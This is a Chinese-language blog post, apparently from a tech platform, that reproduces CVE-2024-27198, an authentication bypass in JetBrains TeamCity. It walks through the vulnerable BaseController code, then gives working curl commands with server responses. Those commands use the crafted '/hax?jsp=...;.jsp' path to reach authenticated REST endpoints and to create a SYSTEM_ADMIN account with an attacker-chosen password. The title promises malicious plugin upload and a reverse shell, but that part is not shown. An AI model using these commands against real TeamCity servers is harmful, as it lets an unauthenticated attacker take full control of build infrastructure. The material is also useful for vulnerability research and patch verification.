【JetBrains TeamCity 身份验证绕过漏洞 CVE-2024-27198 未授权创建用户token】 + 上传恶意插件执行命令 反弹shell【复现漏洞】【有漏洞exp】

介绍

JetBrains TeamCity中存在身份验证绕过漏洞,未经身份验证的远程攻击者利用该漏洞创建用户token,上传恶意插件执行任意代码。

全球资产规模:十万级

受影响版本:TeamCity < 2023.11.4

CVE-2024-27198 漏洞成因:

默认情况下,TeamCity 通过 HTTP 端口 8111 公开 Web 服务器(并且可以选择配置为通过 HTTPS 运行)。攻击者可以精心设计一个 URL,以避免所有身份验证检查,从而允许未经身份验证的攻击者直接访问需要身份验证的功能。未经身份验证的远程攻击者可以利用此漏洞完全控制易受攻击的 TeamCity 服务器。

该漏洞存在于该类jetbrains.buildServer.controllers.BaseController处理某些请求的方式上。这个类是在web-openapi.jar库中实现的。handleRequestInternal我们可以在下面看到,当类中的方法正在处理请求时BaseController,如果请求没有被重定向(即处理程序未发出 HTTP 302 重定向),则将updateViewIfRequestHasJspParameter调用该方法。

public abstract class BaseController extends AbstractController {
    
    // ...snip...
    
    public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            ModelAndView modelAndView = this.doHandle(request, response);
            if (modelAndView != null) {
                if (modelAndView.getView() instanceof RedirectView) {
                    modelAndView.getModel().clear();
                } else {
                    this.updateViewIfRequestHasJspParameter(request, modelAndView);
                }
            }

在下面列出的方法中,我们可以看到,如果当前请求有名称,并且当前请求的 servlet 路径不以 结尾,则updateViewIfRequestHasJspParameter该变量isControllerRequestWithViewName将被设置为 true 。modelAndView.jsp

我们可以通过向服务器请求 URI 来生成 HTTP 404 响应来满足此要求。这样的请求将生成一个 servlet 路径/404.html.html我们可以注意到,这以而非结尾.jsp,因此isControllerRequestWithViewNamewill 为真。

接下来我们可以看到该方法getJspFromRequest将被调用,并且该调用的结果将传递给 Java Spring 框架ModelAndView.setViewName方法。这样做的结果允许攻击者更改 正在处理的 URL DispatcherServlet,从而允许攻击者在可以控制变量内容的情况下调用任意端点 jspFromRequest

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {

    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
        
    String jspFromRequest = this.getJspFromRequest(request);
        
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
        modelAndView.setViewName(jspFromRequest);
    }
}

要了解攻击者如何指定任意端点,我们可以检查getJspFromRequest下面的方法。

jsp此方法将检索当前请求中指定的 HTTP 参数的字符串值。将测试该字符串值以确保它以受限路径段结尾.jsp且不包含受限路径段admin/

protected String getJspFromRequest(@NotNull HttpServletRequest request) {
    String jspFromRequest = request.getParameter("jsp");
        
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

依据成因构造绕过限制触发漏洞

未经身份验证,请求,

curl -ik http://172.29.228.65:8111/app/rest/server
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 14 Feb 2024 17:20:05 GMT

Authentication required
To login manually go to "/login.html" page

要利用此漏洞成功调用经过身份验证的接口/app/rest/server,未经身份验证的攻击者必须在 HTTP(S) 请求期间满足以下三个要求:

  • 请求未经身份验证的资源,该资源会生成 404 响应。这可以通过请求不存在的资源来实现,例如:
    • /hax
  • 传递名为 jsp 的 HTTP 查询参数,其中包含经过身份验证的 URI 路径的值。这可以通过附加 HTTP 查询字符串来实现,例如:
    • ?jsp=/app/rest/server
  • 确保任意 URI 路径以 .jsp 结尾。这可以通过附加 HTTP 路径参数段来实现,例如:
    • ;.jsp

结合上述要求,攻击者的URI路径变为:

/hax?jsp=/app/rest/server;.jsp

通过使用身份验证绕过漏洞,我们可以在无需身份验证的情况下成功调用此经过身份验证的端点。

curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/server;.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 794
Date: Wed, 14 Feb 2024 17:24:59 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><server version="2023.11.3 (build 147512)" versionMajor="2023" versionMinor="11" startTime="20240212T021131-0800" currentTime="20240214T092459-0800" buildNumber="147512" buildDate="20240129T000000-0800" internalId="cfb27466-d6d6-4bc8-a398-8b777182d653" role="main_node" webUrl="http://localhost:8111" artifactsUrl=""><projects href="/app/rest/projects"/><vcsRoots href="/app/rest/vcs-roots"/><builds href="/app/rest/builds"/><users href="/app/rest/users"/><userGroups href="/app/rest/userGroups"/><agents href="/app/rest/agents"/><buildQueue href="/app/rest/buildQueue"/><agentPools href="/app/rest/agentPools"/><investigations href="/app/rest/investigations"/><mutes href="/app/rest/mutes"/><nodes href="/app/rest/server/nodes"/></server>

未经身份验证的攻击者可以通过针对/app/rest/usersREST API 端点,使用攻击者控制的密码创建新的管理员用户:

curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>

总结

1、绕过限制,未授权生成token。

2、利用创建用户token上传恶意插件以实现任意代码执行。

漏洞exp 验证(需要exp 点赞、收藏、关注):

  • 21
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值